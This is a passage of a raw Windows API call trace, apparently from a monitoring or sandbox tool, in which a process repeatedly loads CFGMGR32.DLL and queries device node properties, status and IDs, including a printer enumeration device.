[0183.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0183.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0183.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0183.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0183.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0183.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0183.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0183.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0183.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0183.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0183.579] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0183.579] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0183.579] malloc (_Size=0x38) returned 0x196ef0d0a90 [0183.579] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d0a90, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0a90, pulLength=0x67117d608) returned 0x0 [0183.580] free (_Block=0x196ef0d0a90) [0183.580] malloc (_Size=0x48) returned 0x196ef0fb900 [0183.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4e46efec, dwHighDateTime=0x1d9eb0c)) [0183.581] SetEvent (hEvent=0x248) returned 1 [0183.584] malloc (_Size=0x18) returned 0x196ef0d1e60 [0183.584] SafeArrayPutElement (psa=0x196ef1f2af0, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0183.584] free (_Block=0x196ef0d1e60) [0183.584] malloc (_Size=0x18) returned 0x196ef0d1e60 [0183.584] SafeArrayPutElement (psa=0x196ef1f2af0, rgIndices=0x67117d6d8, pv=0x196ee79a5a8) returned 0x0 [0183.584] free (_Block=0x196ef0d1e60) [0183.584] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855160 [0183.584] SafeArrayGetDim (psa=0x196ef1f2af0) returned 0x1 [0183.584] SafeArrayGetLBound (in: psa=0x196ef1f2af0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0183.584] SafeArrayGetUBound (in: psa=0x196ef1f2af0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0183.584] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6470 [0183.584] SafeArrayGetDim (psa=0x196ef1f2af0) returned 0x1 [0183.584] SafeArrayGetUBound (in: psa=0x196ef1f2af0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0183.584] SafeArrayGetElemsize (psa=0x196ef1f2af0) returned 0x8 [0183.585] SafeArrayGetElement (in: psa=0x196ef1f2af0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0183.585] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e710, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0183.586] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e718, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0183.586] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6470) returned 1 [0183.586] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855160) returned 1 [0183.587] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0183.587] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0183.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0183.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0183.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0183.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0183.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0183.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0183.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0183.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0183.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0183.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0183.589] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0183.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0183.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0183.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0183.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0183.590] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0183.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0183.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0183.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0183.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0183.591] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0183.591] malloc (_Size=0x18) returned 0x196ef0d1b60 [0183.592] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0183.609] malloc (_Size=0x48) returned 0x196ef0fbdb0 [0183.609] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4e4bb42b, dwHighDateTime=0x1d9eb0c)) [0183.609] SetEvent (hEvent=0x248) returned 1 [0183.610] SetEvent (hEvent=0x248) returned 1 [0183.611] free (_Block=0x196ef0fbdb0) [0183.611] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0183.611] malloc (_Size=0x48) returned 0x196ef0fba40 [0183.611] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4e4bb42b, dwHighDateTime=0x1d9eb0c)) [0183.612] SetEvent (hEvent=0x248) returned 1 [0183.613] SetEvent (hEvent=0x248) returned 1 [0183.613] free (_Block=0x196ef0fba40) [0183.613] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0183.614] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0183.614] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4e4bb42b, dwHighDateTime=0x1d9eb0c)) [0183.614] SetEvent (hEvent=0x248) returned 1 [0183.615] SetEvent (hEvent=0x248) returned 1 [0183.616] free (_Block=0x196ef0fbfe0) [0183.616] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0183.616] malloc (_Size=0x48) returned 0x196ef0fb950 [0183.616] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4e4bb42b, dwHighDateTime=0x1d9eb0c)) [0183.617] SetEvent (hEvent=0x248) returned 1 [0184.007] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.007] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.008] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.009] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.010] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.010] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.010] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.010] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.010] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.011] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.012] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0184.012] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0184.020] malloc (_Size=0x48) returned 0x196ef0fbe50 [0184.020] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4e8aff59, dwHighDateTime=0x1d9eb0c)) [0184.021] SetEvent (hEvent=0x248) returned 1 [0184.025] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.025] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.025] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.026] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.027] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.028] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.029] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.029] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0184.029] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x15, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0184.030] malloc (_Size=0x48) returned 0x196ef0fb450 [0184.030] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x4e8c14c1, dwHighDateTime=0x1d9eb0c)) [0184.030] SetEvent (hEvent=0x248) returned 1 [0184.036] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.036] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.036] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.037] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.038] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.039] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.039] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.039] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.039] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.039] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.040] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.040] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.040] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0184.040] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x15, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0184.040] malloc (_Size=0x48) returned 0x196ef0fc0d0 [0184.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x4e8c14c1, dwHighDateTime=0x1d9eb0c)) [0184.041] SetEvent (hEvent=0x248) returned 1 [0184.045] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.045] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.046] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.046] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.046] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.046] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.046] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.046] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.047] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.047] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.047] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.047] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.047] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.049] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.049] malloc (_Size=0x18) returned 0x196ef0d1960 [0184.049] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0184.049] malloc (_Size=0x48) returned 0x196ef0fbe50 [0184.049] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4e8e7780, dwHighDateTime=0x1d9eb0c)) [0184.050] SetEvent (hEvent=0x248) returned 1 [0184.220] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.220] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.220] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.221] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.221] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.221] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.221] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.221] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.221] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.221] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0184.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0184.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0184.222] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0184.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0184.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0184.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0184.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0184.223] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0184.223] CM_Get_Device_IDA (in: dnDevInst=0x16, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\PRINTENUM\\{BF5CF224-19D6-4CE8-BB5A-E42CD3DCE5E3}") returned 0x0 [0184.223] malloc (_Size=0x48) returned 0x196ef0fbb80 [0184.223] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x4ea8ba09, dwHighDateTime=0x1d9eb0c)) [0184.224] SetEvent (hEvent=0x248) returned 1 [0184.227] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0184.227] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0184.227] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0184.227] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0184.227] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0184.227] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0184.227] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0184.228] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0184.228] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0184.228] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0184.228] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0184.228] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0184.228] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0184.228] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0184.229] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0184.229] GetProcAddress (hModule=0x7ffa786c0000, 